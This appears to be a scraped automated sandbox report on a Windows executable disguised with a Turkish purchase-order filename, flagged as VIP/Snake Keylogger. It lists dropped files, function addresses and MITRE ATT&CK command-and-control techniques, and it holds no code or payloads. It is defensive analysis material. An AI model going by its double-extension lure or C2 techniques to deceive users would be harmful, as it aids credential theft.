Windows Analysis Report fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_3R4NQGPTA05DQTKJ_faaac2fccbefdfd3bb762763acb2229b9dbb1723_114e6520_f8580dcf-b3ae-4c8c-8784-088bea48a214\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERADDE.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAFF3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB022.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jboqdnpm.qai.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvlmjp30.buu.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u2sjdfda.ewg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yk2ebzhs.dms.psm1

C:\Windows\appcompat\Programs\Amcache.hve

Windows Analysis Report
fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Function 04AA7490 Relevance: 9.3, Strings: 7, Instructions: 502
COMMON

Function 04AA7480 Relevance: 9.2, Strings: 7, Instructions: 475
COMMON

Function 00CEDA60 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 00CEB7B7 Relevance: 1.7, APIs: 1, Instructions: 204
COMMON

Function 04AA2325 Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Function 04AA2330 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Function 04AA1894 Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Function 00CE58EC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Function 00CE44C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 00CEDCA8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 00CEB9B8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre